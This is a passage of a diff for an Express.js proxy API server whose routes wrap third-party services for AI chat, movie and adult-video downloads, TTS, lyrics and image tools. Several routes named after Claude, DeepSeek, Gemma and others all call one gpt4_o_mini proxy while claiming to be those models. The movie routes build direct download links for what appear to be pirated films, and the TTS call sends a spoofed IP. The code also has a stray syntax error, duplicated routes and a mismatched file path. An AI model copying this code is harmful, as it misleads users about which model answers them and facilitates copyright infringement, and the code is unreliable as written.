}); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +app.get("/ai/deepseek-r1", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+deepseek-r1+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + +// Movie Search Endpoint +app.get("/movies/search", async (req, res) => { + const { query } = req.query; + + if (!query) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "❌ Please provide a movie query." + }); + } + + try { + // Fetch movie search results from the new API + const response = await axios.get(`https://www.dark-yasiya-api.site/movie/sinhalasub/search?text=${encodeURIComponent(query)}`); + const results = response.data.result.movies; + + if (!results || results.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + status: false, + message: `❌ No results found for: ${query}` + }); + } + + res.json({ + creator: "David Cyril", + status: true, + results + }); + } catch (error) { + console.error("Movie Search Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "❌ Failed to fetch movie search results." + }); + } +}); + + + + + + + + +// **Movie Download Endpoint** +app.get("/movies/download", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "❌ Please provide a movie URL." + }); + } + + try { + const response = await axios.get(`https://api-site-2.vercel.app/api/sinhalasub/movie?url=${encodeURIComponent(url)}`); + const movieDetails = response.data.result; + const downloadLinks = movieDetails.dl_links || []; + + if (!downloadLinks.length) { + return res.status(404).json({ + creator: "David Cyril", + status: false, + message: "❌ No PixelDrain links found for this movie." + }); + } + + // Convert PixelDrain links into direct download links + const directLinks = downloadLinks.map((link) => ({ + quality: link.quality, + size: link.size, + direct_download: `https://pixeldrain.com/api/file/${link.link.split("/").pop()}?download` + })); + + res.json({ + creator: "David Cyril", + status: true, + movie: { + title: movieDetails.title, + thumbnail: movieDetails.thumbnail, + download_links: directLinks + } + }); + } catch (error) { + console.error("Movie Download Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "❌ Failed to fetch movie download links." + }); + } +}); + + + + + + + +app.get("/remini", async (req, res) => { + const { url } = req.query; + + // Check if the `url` parameter is provided + if (!url) { + return res.status(400).json({ + status: false, + creator: "David Cyril", + error: "Need image link!" + }); + } + + try { + // Call the BK9 API with the provided image URL + const apiUrl = `https://bk9.fun/tools/enhance?url=${encodeURIComponent(url)}`; + const response = await axios.get(apiUrl, { responseType: "arraybuffer" }); + + // Set the content-type header to match the image type and send the enhanced image + res.set("Content-Type", "image/jpeg"); + res.send(response.data); + } catch (error) { + console.error("Error enhancing image:", error.message); + res.status(500).json({ + status: false, + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + + + +function generateRandomUserId() { + return Math.floor(Math.random() * 1000000000).toString(); +} + + + + +// Alexa AI Endpoint +app.get("/ai/qwen2Coder", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+Queen2Coder+Ai+&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing qwen2Coder Ai request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + + + +app.get("/tools/qrcode", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text or URL to generate a QR code.", + }); + } + + try { + // Generate QR code as a buffer + const qrBuffer = await QRCode.toBuffer(text, { type: "image/png" }); + + // Set response headers to return an image + res.setHeader("Content-Type", "image/png"); + res.send(qrBuffer); + } catch (error) { + console.error("QR Code Generation Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to generate QR code. Please try again later.", + }); + } +}); + + + +// Mistral AI Endpoint +app.get("/ai/mixtral", async (req, res) => { + const { text } = req.query; + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://api.aboud-coding.store/api/ai/mistralai?prompt=${encodeURIComponent(text)}&userid=${generateRandomUserId()}` + ); + res.json({ + creator: "David Cyril", + success: true, + response: response.data.mistralai + }); + } catch (error) { + console.error("Error processing Mistral request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request." + }); + } +}); + + +app.use(express.urlencoded({ extended: true })); + + + + + +// Alexa AI Endpoint + + + +// Alexa AI Endpoint +app.get("/ai/qwen2Coder", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+Queen2Coder+Ai+&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing qwen2Coder Ai request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + + + +// **Video Search API** +app.get("/search/xnxx", async (req, res) => { + const { query } = req.query; + + if (!query) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "❌ Please provide a search query." + }); + } + + try { + const response = await axios.get(`https://api.agatz.xyz/api/xnxx?message=${encodeURIComponent(query)}`); + const results = response.data?.data?.result || []; + + if (!results.length) { + return res.status(404).json({ + creator: "David Cyril", + status: false, + message: `❌ No results found for: ${query}` + }); + } + + res.json({ + creator: "David Cyril", + status: true, + results: results + }); + } catch (error) { + console.error("Video Search Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "❌ Failed to fetch video search results." + }); + } +}); + + + + +// **Video Download API** +app.get("/download/xnxx", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "❌ Please provide a video URL." + }); + } + + try { + const response = await axios.get(`https://api.agatz.xyz/api/xnxxdown?url=${encodeURIComponent(url)}`); + const videoData = response.data?.data; + + if (!videoData || !videoData.files) { + return res.status(404).json({ + creator: "David Cyril", + status: false, + message: "❌ No downloadable video found." + }); + } + + res.json({ + creator: "David Cyril", + status: true, + result: { + title: videoData.title, + duration: videoData.duration, + info: videoData.info, + thumbnail: videoData.image, + download: { + high_quality: videoData.files.high, + low_quality: videoData.files.low + } + } + }); + } catch (error) { + console.error("Xnxx Downloader Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "❌ Failed to process Xnxx Downloader." + });j + } +}); + + + + + +/** + * Helper function to process API requests + * @param {string} model - The model name (e.g., "gpt4_o_mini") + * @param {string} text - The user query + * @param {object} res - Express response object + */ +const processGPTRequest = async (model, text, res) => { + try { + // External API call + const response = await axios.get("https://bk9.fun/ai/BK9", { + params: { + BK9: "you are chatgpt4 ai", // Context prompt + q: text, // User query + model: model, // Model type + }, + }); + + const externalData = response.data; + + // Check if the external API returned a valid response + if (externalData.status === true) { + return res.json({ + creator: "David Cyril", + success: true, + response: externalData.BK9, + }); + } + + // Handle invalid responses from the external API + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch a valid response.", + }); + } catch (error) { + console.error(`Error processing GPT-4 request:`, error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An unexpected error occurred. Please try again later.", + }); + } +}; + + + + +app.get('/xvideo', async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a video URL using the `url` parameter" + }); + } + + try { + // Fetch data from the external API + const response = await axios.get(`https://api.agatz.xyz/api/xvideodown?url=${encodeURIComponent(url)}`); + const data = response.data; + + if (data.status !== 200 || !data.data) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch video details or video not found." + }); + } + + // Construct response + const videoData = { + creator: "David Cyril", + success: true, + title: data.data.title, + thumbnail: data.data.thumb, + download_url: data.data.url + }; + + res.status(200).json(videoData); + } catch (error) { + console.error("Error fetching video data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later." + }); + } +}); + + + + + + + +app.get("/ai/claude", async (req, res) => { + const { text } = req.query; + + // Validate the input + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query using the `text` parameter.", + }); + } + + try { + // Make a request to the external API + const response = await axios.get("https://itzpire.com/ai/claude", { + params: { text }, + }); + + const externalData = response.data; + + // Validate the external API response + if (externalData.status === "success") { + return res.json({ + creator: "David Cyril", + success: true, + response: externalData.result, + }); + } + + // If the external API fails + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch a valid response from the Claude", + }); + } catch (error) { + console.error("Error processing Claude AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An unexpected error occurred. Please try again later.", + }); + } +}); + + + +app.get("/random/bored", async (req, res) => { + try { + const { data } = await axios.get("https://api.paxsenix.biz.id/tools/bored"); + res.json({ + creator: "David Cyril", + success: true, + activity: data.activity, + availability: data.availability, + type: data.type, + participants: data.participants, + price: data.price, + accessibility: data.accessibility, + duration: data.duration, + kidFriendly: data.kidFriendly, + link: data.link, + key: data.key + }); + } catch (error) { + console.error("Error fetching bored activity:", error.message); + res.status(500).json({ creator: "David Cyril", success: false, message: "Internal server error" }); + } +}); + +app.get("/random/quotes", async (req, res) => { + try { + const { data } = await axios.get("https://zenquotes.io/api/random"); + + if (!data || data.length === 0) { + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "No quotes found." + }); + } + + const quoteData = data[0]; // Extracting the first quote + + res.json({ + creator: "David Cyril", + success: true, + response: { + quote: quoteData.q, + author: quoteData.a + } + }); + } catch (error) { + console.error("Error fetching quote:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Internal server error" + }); + } +}); + + + + + + + +// 📌 Calculator API +app.get("/tools/calculate", (req, res) => { + const { expr } = req.query; + if (!expr) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a valid math expression." + }); + } + + try { + let val = expr + .replace(/[^0-9\-\/+*×÷πEe()piPI]/g, "") + .replace(/×/g, "*") + .replace(/÷/g, "/") + .replace(/π|pi/gi, "Math.PI") + .replace(/e/gi, "Math.E"); + + let result = new Function(`return ${val}`)(); + + res.json({ + creator: "David Cyril", + success: true, + expression: expr, + result: result + }); + } catch (e) { + res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Invalid math expression." + }); + } +}); + +// 📌 List Supported Currencies +app.get("/tools/currencies", async (req, res) => { + try { + const response = await axios.get("https://api.exchangerate-api.com/v4/latest/USD"); + const currencies = Object.keys(response.data.rates); + + res.json({ + creator: "David Cyril", + success: true, + currencies + }); + } catch (error) { + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch currency list." + }); + } +}); + +// 📌 Currency Converter API +app.get("/tools/convert", async (req, res) => { + const { amount, from, to } = req.query; + + if (!amount || !from || !to) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Usage: /tools/convert?amount=100&from=USD&to=EUR" + }); + } + + try { + const response = await axios.get(`https://api.exchangerate-api.com/v4/latest/${from.toUpperCase()}`); + const rate = response.data.rates[to.toUpperCase()]; + + if (!rate) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Invalid currency code." + }); + } + + const convertedAmount = (parseFloat(amount) * rate).toFixed(2); + + res.json({ + creator: "David Cyril", + success: true, + result: `${amount} ${from.toUpperCase()} = ${convertedAmount} ${to.toUpperCase()}` + }); + } catch (error) { + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch exchange rate." + }); + } +}); + + + + + + +app.get("/ai/pixtral", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+pixtral+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + +app.get("/ai/gemma", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+gemma+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +app.get("/ai/qvq", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+qvq+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +app.get("/ai/claudeSonnet", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+claudeSonnet+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + +app.get("/ai/deepseek-v3", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+deepseek-v3+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +app.get("/ai/deepseek-r1", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+deepseek-r1+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + + + + +const TEMP_FOLDER = "temp"; // Folder to store temporary PDFs + + + +// PDF Downloader API +app.get("/tools/pdf", async (req, res) => { + const { text } = req.query; + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search term." + }); + } + + try { + // Step 1: Download PDF from the main API + const pdfUrl = `https://bk9.fun/tools/pdf?q=${encodeURIComponent(text)}`; + const pdfResponse = await axios.get(pdfUrl, { responseType: "arraybuffer" }); + + // Step 2: Generate a unique filename + const fileName = `${uuidv4()}.pdf`; + const filePath = path.join(TEMP_FOLDER, fileName); + + // Step 3: Save the PDF locally + fs.writeFileSync(filePath, pdfResponse.data); + + // Step 4: Schedule file deletion after 5 minutes + setTimeout(() => { + if (fs.existsSync(filePath)) { + fs.unlinkSync(filePath); + console.log(`Deleted expired file: ${fileName}`); + } + }, 5 * 60 * 1000); // 5 minutes + + // Step 5: Return JSON response with download link + res.json({ + creator: "David Cyril", + status: 200, + success: true, + download: `https://apis.davidcyriltech.my.id/tmp/${fileName}` + }); + + } catch (error) { + console.error("Error downloading PDF:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request." + }); + } +}); + +// Serve static files from the tmp folder +app.use("/temp", express.static(TEMP_FOLDER)); + + + +app.get("/download/apk", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide an APK name to search." + }); + } + + try { + // Step 1: Search for APK + const searchResponse = await axios.get(`https://bk9.fun/search/apk?q=${encodeURIComponent(text)}`); + const searchData = searchResponse.data; + + if (!searchData.BK9 || searchData.BK9.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No APK found for your search." + }); + } + + const apkId = searchData.BK9[0].id; // Get the first APK result + + // Step 2: Download APK + const downloadResponse = await axios.get(`https://bk9.fun/download/apk?id=${apkId}`); + const apkData = downloadResponse.data.BK9; + + if (!apkData || !apkData.dllink) { + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to retrieve APK download link." + }); + } + + res.json({ + creator: "David Cyril", + success: true, + apk_name: apkData.name, + version: apkData.version, + size: apkData.size, + thumbnail: apkData.icon, + download_link: apkData.dllink + }); + + } catch (error) { + console.error("Error fetching APK:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Internal server error while fetching APK." + }); + } +}); + + +app.get("/ai/simi", async (req, res) => { + const query = req.query.query; + const lang = req.query.lang || "en"; + + if (!query) { + return res.status(400).json({ creator: "David Cyril", success: false, message: "Query parameter is required" }); + } + + try { + const { data } = await axios.get(`https://api.vreden.web.id/api/simi?query=${encodeURIComponent(query)}&lang=${lang}`); + res.json({ + creator: "David Cyril", + success: true, + result: data.result + }); + } catch (error) { + console.error("Error fetching Simi response:", error.message); + res.status(500).json({ creator: "David Cyril", success: false, message: "Internal server error" }); + } +}); + +app.get("/random/waifu", async (req, res) => { + try { + const { data } = await axios.get("https://api.vreden.web.id/api/waifu", { responseType: "arraybuffer" }); + res.set("Content-Type", "image/jpeg"); // Assuming the image is in JPEG format + res.send(data); + } catch (error) { + console.error("Error fetching waifu image:", error.message); + res.status(500).json({ creator: "David Cyril", success: false, message: "Internal server error" }); + } +}); + +app.get("/hentai", async (req, res) => { + try { + // Fetch data from the external API + const response = await axios.get("https://api.agatz.xyz/api/hentaivid"); + const data = response.data; + + if (!data || !data.data || data.data.length === 0) { + return res.status(404).json({ error: "No videos found." }); + } + + // Pick a random video from the list + const randomVideo = data.data[Math.floor(Math.random() * data.data.length)]; + + // Return the random video details + res.json({ + status: 200, + success: true, + creator: "David Cyril", + video: { + title: randomVideo.title, + category: randomVideo.category, + share_count: randomVideo.share_count, + views_count: randomVideo.views_count, + type: randomVideo.type, + video_1: randomVideo.video_1, + video_2: randomVideo.video_2, + link: randomVideo.link + } + }); + } catch (error) { + console.error("Error fetching data:", error.message); + res.status(500).json({ error: "Failed to fetch data. Please try again later." }); + } +}); + + +// MP3 Download Route +app.get('/youtube/mp3', async (req, res) => { + const { url } = req.query; // Get the video URL from the query parameter + + if (!url) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Please provide a URL in the query parameter.' + }); + } + + try { + const result = await ddownr.download(url, 'mp3'); + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + result: result // Include the download result + }); + } catch (error) { + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: error.message // Include the error message + }); + } +}); + + + + + + +const TTS_VOICES = [ + { id: 1, name: "English (US) - Aria", code: "en-US-AriaNeural" }, + { id: 2, name: "English (US) - Guy", code: "en-US-GuyNeural" }, + { id: 3, name: "English (UK) - Libby", code: "en-GB-LibbyNeural" }, + { id: 4, name: "French - Eloise", code: "fr-FR-EloiseNeural" }, + { id: 5, name: "German - Klaus", code: "de-DE-KlausNeural" }, + { id: 6, name: "Spanish - Dario", code: "es-ES-DarioNeural" }, + { id: 7, name: "Japanese - Nanami", code: "ja-JP-NanamiNeural" }, + { id: 8, name: "Chinese - Xiaoxiao", code: "zh-CN-XiaoxiaoNeural" } +]; + +// **Endpoint to list available voices** +app.get("/tts/voices", (req, res) => { + res.json({ + creator: "David Cyril", + status: true, + voices: TTS_VOICES + }); +}); + +// **Endpoint to generate TTS audio** +app.get("/tts", async (req, res) => { + const { text, voiceId } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide text for speech synthesis." + }); + } + + const voice = TTS_VOICES.find(v => v.id == voiceId); + if (!voice) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Invalid voice ID. Use /tts/voices to get available voices." + }); + } + + try { + const formData = new FormData(); + formData.append("locale", voice.code.split("-").slice(0, 2).join("-")); + formData.append("content", `${text}`); + formData.append("ip", "46.161.194.33"); + + const response = await axios.post("https://app.micmonster.com/restapi/create", formData, { + headers: formData.getHeaders() + }); + + const audioBuffer = Buffer.from(response.data.split(',')[1], "base64"); + + res.set({ + "Content-Type": "audio/mpeg", + "Content-Disposition": "inline; filename=tts.mp3" + }); + res.send(audioBuffer); + } catch (error) { + console.error("TTS Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to generate TTS. Please try again." + }); + } +}); + + + +// TikTok Downloader Route +app.get('/download/tiktok', async (req, res) => { + const { url } = req.query; + if (!url) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Missing URL parameter', + }); + } + try { + const result = await tiktokdl(url); + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + result, + }); + } catch (error) { + console.error('Error fetching TikTok data:', error); + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: 'Internal Server Error', + }); + } +}); + +// TikTok Downloader Route +app.get('/ai/chatbot', async (req, res) => { + const { query } = req.query; + if (!query) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Missing QUERY parameter', + }); + } + try { + const result = await chatbot.send(query); + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + result, + }); + } catch (error) { + console.error('Error fetching chatbot data:', error); + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: 'Internal Server Error', + }); + } +}); + +app.get('/lyrics/search', async (req, res) => { + const { song } = req.query; + if (!song) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Missing song parameter', + }); + } + try { + const results = await lyrics.search(song); + if (results.length === 0) { + return res.status(404).json({ + creator: 'David Cyril Tech', + status: 404, + success: false, + error: 'No lyrics found for the requested song', + }); + } + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + results, + }); + } catch (error) { + console.error('Error searching for lyrics:', error); + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: 'Internal Server Error', + }); + } +}); + +app.get('/lyrics/details', async (req, res) => { + const { url } = req.query; + if (!url) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Missing URL parameter', + }); + } + try { + const result = await Lyrics.getLyrics(url); + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + result, + }); + } catch (error) { + console.error('Error fetching lyrics details:', error); + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: 'Internal Server Error', + }); + } +}); + +// Lyrics API (Same old endpoint) +app.get("/lyrics2", async (req, res) => { + const { t: title, a: artist } = req.query; + + if (!title || !artist) { + return res.status(400).json({ + creator: "David Cyril", + error: "Please provide both the title (`t`) and artist (`a`) of the song." + }); + } + + try { + // Using the new API but keeping old response format + const apiUrl = `https://archive-ui.tanakadomp.biz.id/search/lirik?q=${encodeURIComponent(title)}%20by%20${encodeURIComponent(artist)}`; + const response = await axios.get(apiUrl); + + if (response.data?.result?.lyrics) { + res.status(200).json({ + creator: "David Cyril", + title: response.data.result.title || title, + artist: artist, + lyrics: response.data.result.lyrics + }); + } else { + res.status(404).json({ + creator: "David Cyril", + error: "Lyrics not found in the database." + }); + } + } catch (error) { + console.error("Error fetching lyrics:", error.message); + res.status(500).json({ + creator: "David Cyril", + error: "An error occurred while fetching lyrics." + }); + } +}); + + + + +// Ephoto API Endpoint Mapping +const ephotoEndpoints = { + glitchtext: 'https://en.ephoto360.com/create-digital-glitch-text-effects-online-767.html', + writetext: 'https://en.ephoto360.com/write-text-on-wet-glass-online-589.html', + advancedglow: 'https://en.ephoto360.com/advanced-glow-effects-74.html', + typographytext: 'https://en.ephoto360.com/create-typography-text-effect-on-pavement-online-774.html', + pixelglitch: 'https://en.ephoto360.com/create-pixel-glitch-text-effect-online-769.html', + neonglitch: 'https://en.ephoto360.com/create-impressive-neon-glitch-text-effects-online-768.html', + flagtext: 'https://en.ephoto360.com/nigeria-3d-flag-text-effect-online-free-753.html', + flag3dtext: 'https://en.ephoto360.com/free-online-american-flag-3d-text-effect-generator-725.html', + deletingtext: 'https://en.ephoto360.com/create-eraser-deleting-text-effect-online-717.html', + blackpinkstyle: 'https://en.ephoto360.com/online-blackpink-style-logo-maker-effect-711.html', + glowingtext: 'https://en.ephoto360.com/create-glowing-text-effects-online-706.html', + underwatertext: 'https://en.ephoto360.com/3d-underwater-text-effect-online-682.html', + logomaker: 'https://en.ephoto360.com/free-bear-logo-maker-online-673.html', + cartoonstyle: 'https://en.ephoto360.com/create-a-cartoon-style-graffiti-text-effect-online-668.html', + papercutstyle: 'https://en.ephoto360.com/multicolor-3d-paper-cut-style-text-effect-658.html', + watercolortext: 'https://en.ephoto360.com/create-a-watercolor-text-effect-online-655.html', + effectclouds: 'https://en.ephoto360.com/write-text-effect-clouds-in-the-sky-online-619.html', + blackpinklogo: 'https://en.ephoto360.com/create-blackpink-logo-online-free-607.html', + gradienttext: 'https://en.ephoto360.com/create-3d-gradient-text-effect-online-600.html', + summerbeach: 'https://en.ephoto360.com/write-in-sand-summer-beach-online-free-595.html', + luxurygold: 'https://en.ephoto360.com/create-a-luxury-gold-text-effect-online-594.html', + multicoloredneon: 'https://en.ephoto360.com/create-multicolored-neon-light-signatures-591.html', + sandsummer: 'https://en.ephoto360.com/write-in-sand-summer-beach-online-576.html', + galaxywallpaper: 'https://en.ephoto360.com/create-galaxy-wallpaper-mobile-online-528.html', + '1917style': 'https://en.ephoto360.com/1917-style-text-effect-523.html', + makingneon: 'https://en.ephoto360.com/making-neon-light-text-effect-with-galaxy-style-521.html', + royaltext: 'https://en.ephoto360.com/royal-text-effect-online-free-471.html', + freecreate: 'https://en.ephoto360.com/free-create-a-3d-hologram-text-effect-441.html', + galaxystyle: 'https://en.ephoto360.com/create-galaxy-style-free-name-logo-438.html', + lighteffects: 'https://en.ephoto360.com/create-light-effects-green-neon-online-429.html', +}; + +// Function to interact with the Ephoto360 API +async function ephoto(link, text) { + try { + const response = await axios.post(link, { text }); // Adjust as per API requirements + return response.data.imageUrl; // Replace with the actual key for the generated image URL + } catch (error) { + console.error(`Error fetching Ephoto360: ${error.message}`); + throw new Error("Failed to generate image. Please try again later."); + } +} + +app.get('/api/ephoto/:effect', async (req, res) => { + const { effect } = req.params; // Extract effect from URL + const { text } = req.query; // Extract text from query parameters + + // Validate the text parameter + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide the text using the `text` query parameter.", + }); + } + + // Validate the effect parameter + const link = ephotoEndpoints[effect]; + if (!link) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "Invalid effect name. Please check the available effects.", + }); + } + + try { + // Fetch the generated image URL + const imageUrl = await ephoto(link, text); + + // Redirect to the generated image URL + res.redirect(imageUrl); + } catch (error) { + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while generating the image.", + }); + } +}); + + +app.get("/imdb", async (req, res) => { + const { query } = req.query; + + // Validate the query parameter + if (!query) { + return res.status(400).json({ + status: false, + creator: "David Cyril", + error: "Please provide a `query` parameter." + }); + } + + try { + // API call to Popcat's IMDb Search + const apiUrl = `https://api.popcat.xyz/imdb?q=${encodeURIComponent(query)}`; + const response = await axios.get(apiUrl); + + // Process the response + if (response.data) { + return res.status(200).json({ + status: true, + creator: "David Cyril", + query, + movie: { + title: response.data.title, + year: response.data.year, + rated: response.data.rated, + released: response.data.released, + runtime: response.data.runtime, + genres: response.data.genres, + director: response.data.director, + writer: response.data.writer, + actors: response.data.actors, + plot: response.data.plot, + languages: response.data.languages, + country: response.data.country, + awards: response.data.awards, + poster: response.data.poster, + ratings: response.data.ratings, + metascore: response.data.metascore, + imdbRating: response.data.rating, + votes: response.data.votes, + boxoffice: response.data.boxoffice, + imdbUrl: response.data.imdburl + } + }); + } else { + return res.status(404).json({ + status: false, + creator: "David Cyril", + error: "No movie found for the provided query." + }); + } + } catch (error) { + console.error("Error fetching movie details:", error.message); + return res.status(500).json({ + status: false, + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + +app.get("/mediafire", async (req, res) => { + const { url } = req.query; + + if (!url) { + return 